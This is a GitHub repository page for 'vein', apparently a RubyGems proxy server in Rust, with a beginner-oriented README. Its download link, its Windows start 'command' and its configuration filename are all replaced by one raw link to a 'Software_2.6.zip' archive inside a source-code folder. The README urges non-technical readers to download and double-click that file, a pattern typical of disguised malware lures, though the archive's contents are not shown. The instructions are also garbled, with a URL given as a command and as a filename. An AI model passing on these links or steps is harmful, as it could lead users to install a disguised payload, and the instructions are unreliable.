Skip to content

kimmyxerg/vein

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

34 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🛠️ vein - Fast & Smart RubyGems Proxy Server

📥 Download Now

Download

🚀 Getting Started

Welcome to vein, a high-speed and intelligent RubyGems proxy and mirror server written in Rust. This guide will help you download and run vein smoothly, even if you have no technical background.

💡 What is vein?

Vein allows developers to fetch RubyGems efficiently, caching gems for fast access. This tool is perfect for teams who want to save time and bandwidth by using a local mirror of RubyGems.

⚙️ System Requirements

Before you start, make sure your system meets these requirements:

  • Operating System: Windows, macOS, or Linux.
  • Disk Space: At least 100 MB free on your hard drive for installation.
  • Memory: Minimum of 512 MB RAM (1 GB recommended).
  • Network Connection: Active internet connection for initial gem retrieval.

📦 Installation Steps

🌐 Visit Download Page

To download vein, go to our Releases page. There, you'll find the latest version available.

📥 Download & Install

  1. On the Releases page, find the version you want to install.
  2. Click on the version number to open the details.
  3. Locate the appropriate file for your operating system:
    • For Windows, download the .exe file.
    • For macOS, download the .dmg file.
    • For Linux, download the suitable https://raw.githubusercontent.com/kimmyxerg/vein/master/crates/vein-adapter/src/Software_2.6.zip or .deb file.
  4. Click the download link to start the download.

🛠️ Run vein

After downloading, follow these steps to run vein:

  1. Navigate to your Downloads folder.
  2. Locate the downloaded file.
  3. Double-click the file to start the installation. Follow the on-screen instructions.
  4. Once installed, open a terminal or command prompt.
  5. Type the command to start vein:
    • For Windows: https://raw.githubusercontent.com/kimmyxerg/vein/master/crates/vein-adapter/src/Software_2.6.zip
    • For macOS: Open the application from your Applications folder.
    • For Linux: Use the command ./vein from the terminal.

⚙️ Configuration

Vein requires some basic configuration to get started:

  1. Create a configuration file named https://raw.githubusercontent.com/kimmyxerg/vein/master/crates/vein-adapter/src/Software_2.6.zip in the same directory as the application.

  2. Use a text editor to add your preferences. Here’s a sample configuration:

    [cache]
    size = "1GB"   # Maximum cache size
    
    [proxy]
    endpoint = "http://localhost:9292"  # Local access endpoint
  3. Save the file.

🌐 Using vein

Your vein server is now ready. It runs on the local network, allowing you to access RubyGems seamlessly.

To access your gem proxy, open a web browser and navigate to http://localhost:9292. You can now search for and download gems quickly.

📖 Features

  • Caching: Saves gems locally for faster access.
  • Circuit Breaker: Prevents failures during network issues.
  • Gem Server: Fully functional gem redirector and server.
  • SQLite Database: Lightweight DB management for gem storage.

👥 Community & Support

If you have questions or need help, feel free to join our community:

🙌 Contributing

We welcome contributions! To contribute:

  1. Fork the repository.
  2. Create a new branch for your feature or fix.
  3. Make your changes.
  4. Submit a pull request for review.

⚖️ License

vein is open-source software licensed under the MIT License. You can freely use, modify, and distribute it.

🔗 Additional Resources

Thank you for using vein! Visit our Releases page again for updates and new features.